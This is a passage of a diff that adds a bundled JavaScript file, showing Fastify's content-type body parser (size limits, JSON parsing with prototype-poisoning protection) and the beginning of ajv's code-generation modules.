resource.runInAsyncScope(onDone, void 0, error51, body); + } + if (parser.asString === true || parser.asBuffer === true) { + rawBody( + request, + reply, + reply[kRouteContext]._parserOptions, + parser, + done + ); + return; + } + const result = parser.fn(request, request[kRequestPayloadStream], done); + if (result && typeof result.then === "function") { + result.then((body) => { + done(null, body); + }, done); + } + function onDone(error51, body) { + resource.emitDestroy(); + if (error51 != null) { + reply.header("connection", "close"); + reply[kReplyIsError] = true; + reply.send(error51); + return; + } + request.body = body; + handler(request, reply); + } + }; + function rawBody(request, reply, options, parser, done) { + const asString = parser.asString === true; + const limit = options.limit === null ? parser.bodyLimit : options.limit; + const contentLength = Number(request.headers["content-length"]); + if (contentLength > limit) { + done(new FST_ERR_CTP_BODY_TOO_LARGE(), void 0); + return; + } + let receivedLength = 0; + let body = asString ? "" : []; + const payload = request[kRequestPayloadStream] || request.raw; + if (asString) { + payload.setEncoding("utf8"); + } + payload.on("data", onData); + payload.on("end", onEnd); + payload.on("error", onEnd); + payload.resume(); + function onData(chunk) { + receivedLength += asString ? Buffer.byteLength(chunk) : chunk.length; + const { receivedEncodedLength = 0 } = payload; + if (receivedLength > limit || receivedEncodedLength > limit) { + payload.removeListener("data", onData); + payload.removeListener("end", onEnd); + payload.removeListener("error", onEnd); + done(new FST_ERR_CTP_BODY_TOO_LARGE(), void 0); + return; + } + if (asString) { + body += chunk; + } else { + body.push(chunk); + } + } + function onEnd(err) { + payload.removeListener("data", onData); + payload.removeListener("end", onEnd); + payload.removeListener("error", onEnd); + if (err != null) { + if (!(typeof err.statusCode === "number" && err.statusCode >= 400)) { + err.statusCode = 400; + } + done(err, void 0); + return; + } + if (!Number.isNaN(contentLength) && (payload.receivedEncodedLength || receivedLength) !== contentLength) { + done(new FST_ERR_CTP_INVALID_CONTENT_LENGTH(), void 0); + return; + } + if (!asString) { + body = Buffer.concat(body); + } + const result = parser.fn(request, body, done); + if (result && typeof result.then === "function") { + result.then((body2) => { + done(null, body2); + }, done); + } + } + } + function getDefaultJsonParser(onProtoPoisoning, onConstructorPoisoning) { + const parseOptions2 = { protoAction: onProtoPoisoning, constructorAction: onConstructorPoisoning }; + return defaultJsonParser; + function defaultJsonParser(req, body, done) { + if (body.length === 0) { + done(new FST_ERR_CTP_EMPTY_JSON_BODY(), void 0); + return; + } + try { + done(null, secureJsonParse(body, parseOptions2)); + } catch { + done(new FST_ERR_CTP_INVALID_JSON_BODY(), void 0); + } + } + } + function defaultPlainTextParser(req, body, done) { + done(null, body); + } + function Parser(asString, asBuffer, bodyLimit, fn) { + this.asString = asString; + this.asBuffer = asBuffer; + this.bodyLimit = bodyLimit; + this.fn = fn; + } + function buildContentTypeParser(c) { + const contentTypeParser = new ContentTypeParser(); + contentTypeParser[kDefaultJsonParse] = c[kDefaultJsonParse]; + contentTypeParser.customParsers = new Map(c.customParsers.entries()); + contentTypeParser.parserList = c.parserList.slice(); + contentTypeParser.parserRegExpList = c.parserRegExpList.slice(); + return contentTypeParser; + } + function addContentTypeParser(contentType, opts, parser) { + if (this[kState].started) { + throw new FST_ERR_CTP_INSTANCE_ALREADY_STARTED("addContentTypeParser"); + } + if (typeof opts === "function") { + parser = opts; + opts = {}; + } + if (!opts) opts = {}; + if (!opts.bodyLimit) opts.bodyLimit = this[kBodyLimit]; + if (Array.isArray(contentType)) { + contentType.forEach((type) => this[kContentTypeParser].add(type, opts, parser)); + } else { + this[kContentTypeParser].add(contentType, opts, parser); + } + return this; + } + function hasContentTypeParser(contentType) { + return this[kContentTypeParser].hasParser(contentType); + } + function removeContentTypeParser(contentType) { + if (this[kState].started) { + throw new FST_ERR_CTP_INSTANCE_ALREADY_STARTED("removeContentTypeParser"); + } + if (Array.isArray(contentType)) { + for (const type of contentType) { + this[kContentTypeParser].remove(type); + } + } else { + this[kContentTypeParser].remove(contentType); + } + } + function removeAllContentTypeParsers() { + if (this[kState].started) { + throw new FST_ERR_CTP_INSTANCE_ALREADY_STARTED("removeAllContentTypeParsers"); + } + this[kContentTypeParser].removeAll(); + } + function validateRegExp(regexp) { + if (regexp.source[0] !== "^" && regexp.source.includes(";?") === false) { + FSTSEC001(regexp.source); + } + } + module.exports = ContentTypeParser; + module.exports.helpers = { + buildContentTypeParser, + addContentTypeParser, + hasContentTypeParser, + removeContentTypeParser, + removeAllContentTypeParsers + }; + module.exports.defaultParsers = { + getDefaultJsonParser, + defaultTextParser: defaultPlainTextParser + }; + module.exports[kTestInternals] = { rawBody }; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/codegen/code.js +var require_code = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/codegen/code.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.regexpCode = exports.getEsmExportName = exports.getProperty = exports.safeStringify = exports.stringify = exports.strConcat = exports.addCodeArg = exports.str = exports._ = exports.nil = exports._Code = exports.Name = exports.IDENTIFIER = exports._CodeOrName = void 0; + var _CodeOrName = class { + }; + exports._CodeOrName = _CodeOrName; + exports.IDENTIFIER = /^[a-z$_][a-z$_0-9]*$/i; + var Name2 = class extends _CodeOrName { + constructor(s) { + super(); + if (!exports.IDENTIFIER.test(s)) + throw new Error("CodeGen: name must be a valid identifier"); + this.str = s; + } + toString() { + return this.str; + } + emptyStr() { + return false; + } + get names() { + return { [this.str]: 1 }; + } + }; + exports.Name = Name2; + var _Code = class extends _CodeOrName { + constructor(code) { + super(); + this._items = typeof code === "string" ? [code] : code; + } + toString() { + return this.str; + } + emptyStr() { + if (this._items.length > 1) + return false; + const item = this._items[0]; + return item === "" || item === '""'; + } + get str() { + var _a3; + return (_a3 = this._str) !== null && _a3 !== void 0 ? _a3 : this._str = this._items.reduce((s, c) => `${s}${c}`, ""); + } + get names() { + var _a3; + return (_a3 = this._names) !== null && _a3 !== void 0 ? _a3 : this._names = this._items.reduce((names, c) => { + if (c instanceof Name2) + names[c.str] = (names[c.str] || 0) + 1; + return names; + }, {}); + } + }; + exports._Code = _Code; + exports.nil = new _Code(""); + function _(strs, ...args) { + const code = [strs[0]]; + let i = 0; + while (i < args.length) { + addCodeArg(code, args[i]); + code.push(strs[++i]); + } + return new _Code(code); + } + exports._ = _; + var plus = new _Code("+"); + function str(strs, ...args) { + const expr = [safeStringify(strs[0])]; + let i = 0; + while (i < args.length) { + expr.push(plus); + addCodeArg(expr, args[i]); + expr.push(plus, safeStringify(strs[++i])); + } + optimize(expr); + return new _Code(expr); + } + exports.str = str; + function addCodeArg(code, arg) { + if (arg instanceof _Code) + code.push(...arg._items); + else if (arg instanceof Name2) + code.push(arg); + else + code.push(interpolate(arg)); + } + exports.addCodeArg = addCodeArg; + function optimize(expr) { + let i = 1; + while (i < expr.length - 1) { + if (expr[i] === plus) { + const res = mergeExprItems(expr[i - 1], expr[i + 1]); + if (res !== void 0) { + expr.splice(i - 1, 3, res); + continue; + } + expr[i++] = "+"; + } + i++; + } + } + function mergeExprItems(a, b2) { + if (b2 === '""') + return a; + if (a === '""') + return b2; + if (typeof a == "string") { + if (b2 instanceof Name2 || a[a.length - 1] !== '"') + return; + if (typeof b2 != "string") + return `${a.slice(0, -1)}${b2}"`; + if (b2[0] === '"') + return a.slice(0, -1) + b2.slice(1); + return; + } + if (typeof b2 == "string" && b2[0] === '"' && !(a instanceof Name2)) + return `"${a}${b2.slice(1)}`; + return; + } + function strConcat(c1, c2) { + return c2.emptyStr() ? c1 : c1.emptyStr() ? c2 : str`${c1}${c2}`; + } + exports.strConcat = strConcat; + function interpolate(x) { + return typeof x == "number" || typeof x == "boolean" || x === null ? x : safeStringify(Array.isArray(x) ? x.join(",") : x); + } + function stringify2(x) { + return new _Code(safeStringify(x)); + } + exports.stringify = stringify2; + function safeStringify(x) { + return JSON.stringify(x).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029"); + } + exports.safeStringify = safeStringify; + function getProperty(key) { + return typeof key == "string" && exports.IDENTIFIER.test(key) ? new _Code(`.${key}`) : _`[${key}]`; + } + exports.getProperty = getProperty; + function getEsmExportName(key) { + if (typeof key == "string" && exports.IDENTIFIER.test(key)) { + return new _Code(`${key}`); + } + throw new Error(`CodeGen: invalid export name: ${key}, use explicit $id name mapping`); + } + exports.getEsmExportName = getEsmExportName; + function regexpCode(rx) { + return new _Code(rx.toString()); + } + exports.regexpCode = regexpCode; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/codegen/scope.js +var require_scope = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/codegen/scope.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.ValueScope = exports.ValueScopeName = exports.Scope = exports.varKinds = exports.UsedValueState = void 0; + var code_1 = require_code(); + var ValueError = class extends Error { + constructor(name) { + super(`CodeGen: "code" for ${name} not defined`); + this.value = name.value; + } + }; + var UsedValueState; + (function(UsedValueState2) { + UsedValueState2[UsedValueState2["Started"] = 0] = "Started"; + UsedValueState2[UsedValueState2["Completed"] = 1] = "Completed"; + })(UsedValueState || (exports.UsedValueState = UsedValueState = {})); + exports.varKinds = { + const: new code_1.Name("const"), + let: new code_1.Name("let"), + var: new code_1.Name("var") + }; + var Scope = class { + constructor({ prefixes, parent } = {}) { + this._names = {}; + this._prefixes = prefixes; + this._parent = parent; + } + toName(nameOrPrefix) { + return nameOrPrefix instanceof code_1.Name ? nameOrPrefix : this.name(nameOrPrefix); + } + name(prefix) { + return new code_1.Name(this._newName(prefix)); + } + _newName(prefix) { + const ng = this._names[prefix] || this._nameGroup(prefix); + return `${prefix}${ng.index++}`; + } + _nameGroup(prefix) { + var _a3, _b; + if (((_b = (_a3 = this._parent) === null || _a3 === void 0 ? void 0 : _a3._prefixes) === null || _b === void 0 ? void 0 : _b.has(prefix)) || this._prefixes && !this._prefixes.has(prefix)) { + throw new Error(`CodeGen: prefix "${prefix}" is not allowed in this scope`); + } + return this._names[prefix] = { prefix, index: 0 }; + } + }; + exports.Scope = Scope; + var ValueScopeName = class extends code_1.Name { + constructor(prefix, nameStr) { + super(nameStr); + this.prefix = prefix; + } + setValue(value, { property, itemIndex }) { + this.value = value; + this.scopePath = (0, code_1._)`.${new code_1.Name(property)}[${itemIndex}]`; + } + }; + exports.ValueScopeName = ValueScopeName; + var line2 = (0, code_1._)`\n`; + var ValueScope = class extends Scope { + constructor(opts) { + super(opts); + this._values = {}; + this._scope = opts.scope; + this.opts = { ...opts, _n: opts.lines ? line2 : code_1.nil }; + } + get() { + return this._scope; + } + name(prefix) { + return new ValueScopeName(prefix, this._newName(prefix)); + } + value(nameOrPrefix, value) { + var _a3; + if (value.ref === void 0) + throw new Error("CodeGen: ref must be passed in value"); + const name = this.toName(nameOrPrefix); + const { prefix } = name; + const valueKey = (_a3 = value.key) !== null && _a3 !== void 0 ? _a3 : value.ref; + let vs = this._values[prefix]; + if (vs) { + const _name = vs.get(valueKey); + if (_name) + return _name; + } else { + vs = this._values[prefix] = /* @__PURE__ */ new Map(); + } + vs.set(valueKey, name); + const s = this._scope[prefix] || (this._scope[prefix] = []); + const itemIndex = s.length; + s[itemIndex] = value.ref; + name.setValue(value, { property: prefix, itemIndex }); + return name; + } + getValue(prefix, keyOrRef) { + const vs = this._values[prefix]; + if (!vs) + return; + return vs.get(keyOrRef); + } + scopeRefs(scopeName, values2 = this._values) { + return this._reduceValues(values2, (name) => { + if (name.scopePath === void 0) + throw new Error(`CodeGen: name "${name}" has no value`); + return (0, code_1._)`${scopeName}${name.scopePath}`; + }); + } + scopeCode(values2 = this._values, usedValues, getCode) { + return this._reduceValues(values2, (name) => { + if (name.value === void 0) + throw new Error(`CodeGen: name "${name}" has no value`); + return name.value.code; + }, usedValues, getCode); + } + _reduceValues(values2, valueCode, usedValues = {}, getCode) { + let code = code_1.nil; + for (const prefix in values2) { + const vs = values2[prefix]; + if (!vs) + continue; + const nameSet = usedValues[prefix] = usedValues[prefix] || /* @__PURE__ */ new Map(); + vs.forEach((name) => { + if (nameSet.has(name)) + return; + nameSet.set(name, UsedValueState.Started); + let c = valueCode(name); + if (c) { + const def = this.opts.es5 ? exports.varKinds.var : exports.varKinds.const; + code = (0, code_1._)`${code}${def} ${name} = ${c};${this.opts._n}`; + } else if (c = getCode === null || getCode === void 0 ? void 0 : getCode(name)) { + code = (0, code_1._)`${code}${c}${this.opts._n}`; + } else { + throw new ValueError(name); + } + nameSet.set(name, UsedValueState.Completed); + }); + } + return code; + } + }; + exports.ValueScope = ValueScope; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/codegen/index.js +var require_codegen = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/codegen/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.or = exports.and = exports.not = exports.CodeGen = exports.operators = exports.varKinds = exports.ValueScopeName = exports.ValueScope = exports.Scope = exports.Name = exports.regexpCode = exports.stringify = exports.getProperty = exports.nil = exports.strConcat = exports.str = exports._ = void 0; + var code_1 = require_code(); + var scope_1 = require_scope(); + var code_2 = require_code(); + Object.defineProperty(exports, "_", { enumerable: true, get: function() { + return code_2._; + } }); + Object.defineProperty(exports, "str", { enumerable: true, get: function() { + return code_2.str; + } }); + Object.defineProperty(exports, "strConcat", { enumerable: true, get: function() { + return code_2.strConcat; + } }); + Object.defineProperty(exports, "nil", { enumerable: true, get: function() { + return code_2.nil; + } }); + Object.defineProperty(exports, "getProperty", { enumerable: true, get: function() { + return code_2.getProperty; + } }); + Object.defineProperty(exports, "stringify", { enumerable: true, get: function() { + return code_2.stringify; + } }); + Object.defineProperty(exports, "regexpCode", { enumerable: true, get: function() { + return code_2.regexpCode; + } }); + Object.defineProperty(exports, "Name", { enumerable: true, get: function() { + return code_2.Name; + } }); + var scope_2 = require_scope(); + Object.defineProperty(exports, "Scope", { enumerable: true, get: function() { + return scope_2.Scope; + } }); + Object.defineProperty(exports, "ValueScope", { enumerable: true, get: function() { + return scope_2.ValueScope; + } }); + Object.defineProperty(exports, "ValueScopeName", { enumerable: true, get: function() { + return scope_2.ValueScopeName; + } }); + Object.defineProperty(exports, "varKinds", { enumerable: true, get: function() { + return scope_2.varKinds; + } }); + exports.operators = { + GT: new code_1._Code(">"), + GTE: new code_1._Code(">="), + LT: new code_1._Code("<"), + LTE: new code_1._Code("<="), + EQ: new code_1._Code("==="), + NEQ: new code_1._Code("!=="), + NOT: new code_1._Code("!"), + OR: new code_1._Code("||"), + AND: new code_1._Code("&&"), + ADD: new code_1._Code("+") + }; + var Node = class { + optimizeNodes() { + return this; + } + optimizeNames(_names, _constants) { + return this; + } + }; + var Def = class extends Node { + constructor(varKind, name, rhs) { + super(); + this.varKind = varKind; + this.name = name; + this.rhs = rhs; + } + render({ es5, _n }) { + const varKind = es5 ? scope_1.varKinds.var : this.varKind; + const rhs = this.rhs === void 0 ? "" : ` = ${this.rhs}`; + return `${varKind} ${this.name}${rhs};` + _n; + } + optimizeNames(names, constants) { + if (!names[this.name.str]) + return; + if (this.rhs) + this.rhs = optimizeExpr(this.rhs, names, constants); + return this; + } + get names() { + return this.rhs instanceof code_1._CodeOrName ? this.rhs.names : {}; + } + }; + var Assign = class extends Node { + constructor(lhs, rhs, sideEffects) { + super(); + this.lhs = lhs; + this.rhs = rhs; + this.sideEffects = sideEffects; + } + render({ _n }) { + return `${this.lhs} = ${this.rhs};` + _n; + } + optimizeNames(names, constants) { + if (this.lhs instanceof code_1.Name && !names[this.lhs.str] && !this.sideEffects) + return; + this.rhs = optimizeExpr(this.rhs, names, constants); + return this; + } + get names() { + const names = this.lhs instanceof code_1.Name ? {} : { ...this.lhs.names }; + return addExprNames(names, this.rhs); + } + }; + var AssignOp = class extends Assign { + constructor(lhs, op, rhs, sideEffects) { + super(lhs, rhs, sideEffects); + this.op = op; + } + render({ _n }) { + return `${this.lhs} ${this.op}= ${this.rhs};` + _n; + } + }; + var Label = class extends Node { + constructor(label) { + super(); + this.label = label; + this.names = {}; + } + render({ _n }) { + return `${this.label}:` + _n; + } + }; + var Break = class extends Node { + constructor(label) { + super(); + this.label = label; + this.names = {}; + } + render({ _n }) { + const label = this.label ? ` ${this.label}` : ""; + return `break${label};` + _n; + } + }; + var Throw = class extends Node { + constructor(error51) { + super(); + this.error = error51; + } + render({ _n }) { + return `throw ${this.error};` + _n; + } + get names() { + return this.error.names; + } + }; + var AnyCode = class extends Node { + constructor(code) { + super(); + this.code = code; + } + render({ _n }) { + return `${this.code};` + _n; + } + optimizeNodes() { + return `${this.code}` ? this : void 0; + } + optimizeNames(names, constants) { + this.code = optimizeExpr(this.code, names, constants); + return this; + } + get names() { + return this.code instanceof code_1._CodeOrName ? this.code.names : {}; + } + }; + var ParentNode = class extends Node { + constructor(nodes = []) { + super(); + this.nodes = nodes; + } + render(opts) { + return this.nodes.reduce((code, n) => code + n.render(opts), ""); + } + optimizeNodes() { + const { nodes } = this; + let i = nodes.length; + while (i--) { + const n = nodes[i].optimizeNodes(); + if (Array.isArray(n)) + nodes.splice(i, 1, ...n); + else if (n) + nodes[i] = n; + else + nodes.splice(i, 1); + } + return nodes.length > 0 ? this : void 0; + } + optimizeNames(names, constants) { + const { nodes } = this; + let i = nodes.length; + while (i--) { + const n = nodes[i]; + if (n.optimizeNames(names, constants)) + continue; + subtractNames(names, n.names); + nodes.splice(i, 1); + } + return nodes.length > 0 ? this : void 0; + } + get names() { + return this.nodes.reduce((names, n) => addNames(names, n.names), {}); + } + }; + var BlockNode = class extends ParentNode { + render(opts) { + return "{" + opts._n + super.render(opts) + "}" + opts._n; + } + }; + var Root = class extends ParentNode { + }; + var Else = class extends BlockNode { + }; + Else.kind = "else"; + var If = class _If extends BlockNode { + constructor(condition, nodes) { + super(nodes); + this.condition = condition; + } + render(opts) { + let code = `if(${this.condition})` + super.render(opts); + if (this.else) + code += "else " + this.else.render(opts); + return code; + } + optimizeNodes() { + super.optimizeNodes(); + const cond = this.condition; + if (cond === true) + return this.nodes; + let e = this.else; + if (e) { + const ns = e.optimizeNodes(); + e = this.else = Array.isArray(ns) ? new Else(ns) : ns; + } + if (e) { + if (cond === false) + return e instanceof _If ? e : e.nodes; + if (this.nodes.length) + return this; + return new _If(not2(cond), e instanceof _If ? [e] : e.nodes); + } + if (cond === false || !this.nodes.length) + return void 0; + return this; + } + optimizeNames(names, constants) { + var _a3; + this.else = (_a3 = this.else) === null || _a3 === void 0 ? void 0 : _a3.optimizeNames(names, constants); + if (!(super.optimizeNames(names, constants) || this.else)) + return; + this.condition = optimizeExpr(this.condition, names, constants); + return this; + } + get names() { + const names = super.names; + addExprNames(names, this.condition); + if (this.else) + addNames(names, this.else.names); + return names; + } + }; + If.kind = "if"; + var For = class extends BlockNode { + }; + For.kind = "for"; + var ForLoop = class extends For { + constructor(iteration) { + super(); + this.iteration = iteration; + } + render(opts) { + return `for(${this.iteration})` + super.render(opts); + } + optimizeNames(names, constants) { + if (!super.optimizeNames(names, constants)) + return; + this.iteration = optimizeExpr(this.iteration, names, constants); + return this; + } + get names() { + return addNames(super.names, this.iteration.names); + } + }; + var ForRange = class extends For { + constructor(varKind, name, from, to) { + super(); + this.varKind = varKind; + this.name = name; + this.from = from; + this.to = to; + } + render(opts) { + const varKind = opts.es5 ? scope_1.varKinds.var : this.varKind; + const { name, from, to } = this; + return `for(${varKind} ${name}=${from}; ${name}<${to}; ${name}++)` + super.render(opts); + } + get names() { + const names = addExprNames(super.names, this.from); + return addExprNames(names, this.to); + } + }; + var ForIter = class extends For { + constructor(loop, varKind, name, iterable) { + super(); + this.loop = loop; + this.varKind = varKind; + this.name = name; + this.iterable = iterable; + } + render(opts) { + return `for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})` + super.render(opts); + } + optimizeNames(names, constants) { + if (!super.optimizeNames(names, constants)) + return; + this.iterable = optimizeExpr(this.iterable, names, constants); + return this; + } + get names() { + return addNames(super.names, this.iterable.names); + } + }; + var Func = class extends BlockNode { + constructor(name, args, async) { + super(); + this.name = name; + this.args = args; + this.async = async; + } + render(opts) { + const _async = this.async ? "async " : ""; + return `${_async}function ${this.name}(${this.args})` + super.render(opts); + } + }; + Func.kind = "func"; + var Return = class extends ParentNode { + render(opts) { + return "return " + super.render(opts); + } + }; + Return.kind = "return"; + var Try = class extends BlockNode { + render(opts) { + let code = "try" + super.render(opts); + if (this.catch) + code += this.catch.render(opts); + if (this.finally) + code += this.finally.render(opts); + return code; + } + optimizeNodes() { + var _a3, _b; + super.optimizeNodes(); + (_a3 = this.catch) === null || _a3 === void 0 ? void 0 : _a3.optimizeNodes(); + (_b = this.finally) === null || _b === void 0 ? void 0 : _b.optimizeNodes(); + return this; + } + optimizeNames(names, constants) { + var _a3, _b; + super.optimizeNames(names, constants); + (_a3 = this.catch) === null || _a3 === void 0 ? void 0 : _a3.optimizeNames(names, constants); + (_b = this.finally) === null || _b === void 0 ? void 0 : _b.optimizeNames(names, constants); + return this; + } + get names() { + const names = super.names; + if (this.catch) + addNames(names, this.catch.names); + if (this.finally) + addNames(names, this.finally.names); + return names; + } + }; + var Catch = class extends BlockNode { + constructor(error51) { + super(); + this.error = error51; + } + render(opts) { + return `catch(${this.error})` + super.render(opts); + } + }; + Catch.kind = "catch"; + var Finally = class extends BlockNode { + render(opts) { + return "finally" + super.render(opts); + } + }; + Finally.kind = "finally"; + var CodeGen = class { + constructor(extScope, opts = {}) { + this._values = {}; + this._blockStarts = []; + this._constants = {}; + this.opts = { ...opts, _n: opts.lines ? "\n" : "" }; + this._extScope = extScope; + this._scope = new scope_1.Scope({ parent: extScope }); + this._nodes = [new Root()]; + } + toString() { + return this._root.render(this.opts); + } + // returns unique name in the internal scope + name(prefix) { + return this._scope.name(prefix); + } + // reserves unique name in the external scope + scopeName(prefix) { + return this._extScope.name(prefix); + } + // reserves unique name in the external scope and assigns value to it + scopeValue(prefixOrName, value) { + const name = this._extScope.value(prefixOrName, value); + const vs = this._values[name.prefix] || (this._values[name.prefix] = /* @__PURE__ */ new Set()); + vs.add(name); + return name; + } + getScopeValue(prefix, keyOrRef) { + return this._extScope.getValue(prefix, keyOrRef); + } + // return code that assigns values in the external scope to the names that are used internally + // (same names that were returned by gen.scopeName or gen.scopeValue) + scopeRefs(scopeName) { + return this._extScope.scopeRefs(scopeName, this._values); + } + scopeCode() { + return this._extScope.scopeCode(this._values); + } + _def(varKind, nameOrPrefix, rhs, constant) { + const name = this._scope.toName(nameOrPrefix); + if (rhs !== void 0 && constant) + this._constants[name.str] = rhs; + this._leafNode(new Def(varKind, name, rhs)); + return name; + } + // `const` declaration (`var` in es5 mode) + const(nameOrPrefix, rhs, _constant) { + return this._def(scope_1.varKinds.const, nameOrPrefix, rhs, _constant); + } + // `let` declaration with optional assignment (`var` in es5 mode) + let(nameOrPrefix, rhs, _constant) { + return this._def(scope_1.varKinds.let, nameOrPrefix, rhs, _constant); + } + // `var` declaration with optional assignment + var(nameOrPrefix, rhs, _constant) { + return this._def(scope_1.varKinds.var, nameOrPrefix, rhs, _constant); + } + // assignment code + assign(lhs, rhs, sideEffects) { + return this._leafNode(new Assign(lhs, rhs, sideEffects)); + } + // `+=` code + add(lhs, rhs) { + return this._leafNode(new AssignOp(lhs, exports.operators.ADD, rhs)); + } + // appends passed SafeExpr to code or executes Block + code(c) { + if (typeof c == "function") + c(); + else if (c !== code_1.nil) + this._leafNode(new AnyCode(c)); + return this; + } + // returns code for object literal for the passed argument list of key-value pairs + object(...keyValues) { + const code = ["{"]; + for (const [key, value] of keyValues) { + if (code.length > 1) + code.push(","); + code.push(key); + if (key !== value || this.opts.es5) { + code.push(":"); + (0, code_1.addCodeArg)(code, value); + } + } + code.push("}"); + return new code_1._Code(code); + } + // `if` clause (or statement if `thenBody` and, optionally, `elseBody` are passed) + if(condition, thenBody, elseBody) { + this._blockNode(new If(condition)); + if (thenBody && elseBody) { + this.code(thenBody).else().code(elseBody).endIf(); + } else if (thenBody) { + this.code(thenBody).endIf(); + } else if (elseBody) { + throw new Error('CodeGen: "else" body without "then" body'); + } + return this; + } + // `else if` clause - invalid without `if` or after `else` clauses + elseIf(condition) { + return this._elseNode(new If(condition)); + } + // `else` clause - only valid after `if` or `else if` clauses + else() { + return this._elseNode(new Else()); + } + // end `if` statement (needed if gen.if was used only with condition) + endIf() { + return this._endBlockNode(If, Else); + } + _for(node, forBody) { + this._blockNode(node); + if (forBody) + this.code(forBody).endFor(); + return this; + } + // a generic `for` clause (or statement if `forBody` is passed) + for(iteration, forBody) { + return this._for(new ForLoop(iteration), forBody); + } + // `for` statement for a range of values + forRange(nameOrPrefix, from, to, forBody, varKind = this.opts.es5 ? scope_1.varKinds.var : scope_1.varKinds.let) { + const name = this._scope.toName(nameOrPrefix); + return this._for(new ForRange(varKind, name, from, to), () => forBody(name)); + } + // `for-of` statement (in es5 mode replace with a normal for loop) + forOf(nameOrPrefix, iterable, forBody, varKind = scope_1.varKinds.const) { + const name = this._scope.toName(nameOrPrefix); + if (this.opts.es5) { + const arr = iterable instanceof code_1.Name ? iterable : this.var("_arr", iterable); + return this.forRange("_i", 0, (0, code_1._)`${arr}.length`, (i) => { + this.var(name, (0, code_1._)`${arr}[${i}]`); + forBody(name); + }); + } + return this._for(new ForIter("of", varKind, name, iterable), () => forBody(name)); + } + // `for-in` statement. + // With option `ownProperties` replaced with a `for-of` loop for object keys + forIn(nameOrPrefix, obj, forBody, varKind = this.opts.es5 ? scope_1.varKinds.var : scope_1.varKinds.const) { + if (this.opts.ownProperties) { + return this.forOf(nameOrPrefix, (0, code_1._)`Object.keys(${obj})`, forBody); + } + const name = this._scope.toName(nameOrPrefix); + return this._for(new ForIter("in", varKind, name, obj), () => forBody(name)); + } + // end `for` loop + endFor() { + return this._endBlockNode(For); + } + // `label` statement + label(label) { + return this._leafNode(new Label(label)); + } + // `break` statement + break(label) { + return this._leafNode(new Break(label)); + } + // `return` statement + return(value) { + const node = new Return(); + this._blockNode(node); + this.code(value); + if (node.nodes.length !== 1) + throw new Error('CodeGen: "return" should have one node'); + return this._endBlockNode(Return); + } + // `try` statement + try(tryBody, catchCode, finallyCode) { + if (!catchCode && !finallyCode) + throw new Error('CodeGen: "try" without "catch" and "finally"'); + const node = new Try(); + this._blockNode(node); + this.code(tryBody); + if (catchCode) { + const error51 = this.name("e"); + this._currNode = node.catch = new Catch(error51); + catchCode(error51); + } + if (finallyCode) { + this._currNode = node.finally = new Finally(); + this.code(finallyCode); + } + return this._endBlockNode(Catch, Finally); + } + // `throw` statement + throw(error51) { + return this._leafNode(new Throw(error51)); + } + // start self-balancing block + block(body, nodeCount) { + this._blockStarts.push(this._nodes.length); + if (body) + this.code(body).endBlock(nodeCount); + return this; + } + // end the current self-balancing block + endBlock(nodeCount) { + const len = this._blockStarts.pop(); + if (len === void 0) + throw new Error("CodeGen: not in self-balancing block"); + const toClose = this._nodes.length - len; + if (toClose < 0 || nodeCount !== void 0 && toClose !== nodeCount) { + throw new Error(`CodeGen: wrong number of nodes: ${toClose} vs ${nodeCount} expected`); + } + this._nodes.length = len; + return this; + } + // `function` heading (or definition if funcBody is passed) + func(name, args = code_1.nil, async, funcBody) { + this._blockNode(new Func(name, args, async)); + if (funcBody) + this.code(funcBody).endFunc(); + return this; + } + // end function definition + endFunc() { + return this._endBlockNode(Func); + } + optimize(n = 1) { + while (n-- > 0) { + this._root.optimizeNodes(); + this._root.optimizeNames(this._root.names, this._constants); + } + } + _leafNode(node) { + this._currNode.nodes.push(node); + return this; + } + _blockNode(node) { + this._currNode.nodes.push(node); + this._nodes.push(node); + } + _endBlockNode(N1, N2) { + const n = this._currNode; + if (n instanceof N1 || N2 && n instanceof N2) { + this._nodes.pop(); + return this; + } + throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); + } + _elseNode(node) { + const n = this._currNode; + if (!(n instanceof If)) { + throw new Error('CodeGen: "else" without "if"'); + } + this._currNode = n.else = node; + return this; + } + get _root() { + return this._nodes[0]; + } + get _currNode() { + const ns = this._nodes; + return ns[ns.length - 1]; + } + set _currNode(node) { + const ns = this._nodes; + ns[ns.length - 1] = node; + } + }; + exports.CodeGen = CodeGen; + function addNames(names, from) { + for (const n in from) + names[n] = (names[n] || 0) + (from[n] || 0); + return names; + } + function addExprNames(names, from) { + return from instanceof code_1._CodeOrName ? addNames(names, from.names) : names; + } + function optimizeExpr(expr, names, constants) { + if (expr instanceof code_1.Name) + return replaceName(expr); + if (!canOptimize(expr)) + return expr; + return new code_1._Code(expr._items.reduce((items, c) => { + if (c instanceof code_1.Name) + c = replaceName(c); + if (c instanceof code_1._Code) + items.push(...c._items); + else + items.push(c); + return items; + }, [])); + function replaceName(n) { + const c = constants[n.str]; + if (c === void 0 || names[n.str] !== 1) + return n; + delete names[n.str]; + return c; + } + function canOptimize(e) { + return e instanceof code_1._Code && e._items.some((c) => c instanceof code_1.Name && names[c.str] === 1 && constants[c.str] !== void 0); + } + } + function subtractNames(names, from) { + for (const n in from) + names[n] = (names[n] || 0) - (from[n] || 0); + } + function not2(x) { + return typeof x == "boolean" || typeof x == "number" || x === null ? !x : (0, code_1._)`!${par(x)}`; + } + exports.not = not2; + var andCode = mappend(exports.operators.AND); + function and2(...args) { + return args.reduce(andCode); + } + exports.and = and2; + var orCode = mappend(exports.operators.OR); + function or2(...args) { + return args.reduce(orCode); + } + exports.or = or2; + function mappend(op) { + return (x, y) => x === code_1.nil ? y : y === code_1.nil ? x : (0, code_1._)`${par(x)} ${op} ${par(y)}`; + } + function par(x) { + return x instanceof code_1.Name ? x : (0, code_1._)`(${x})`; + } + } +}); + +// 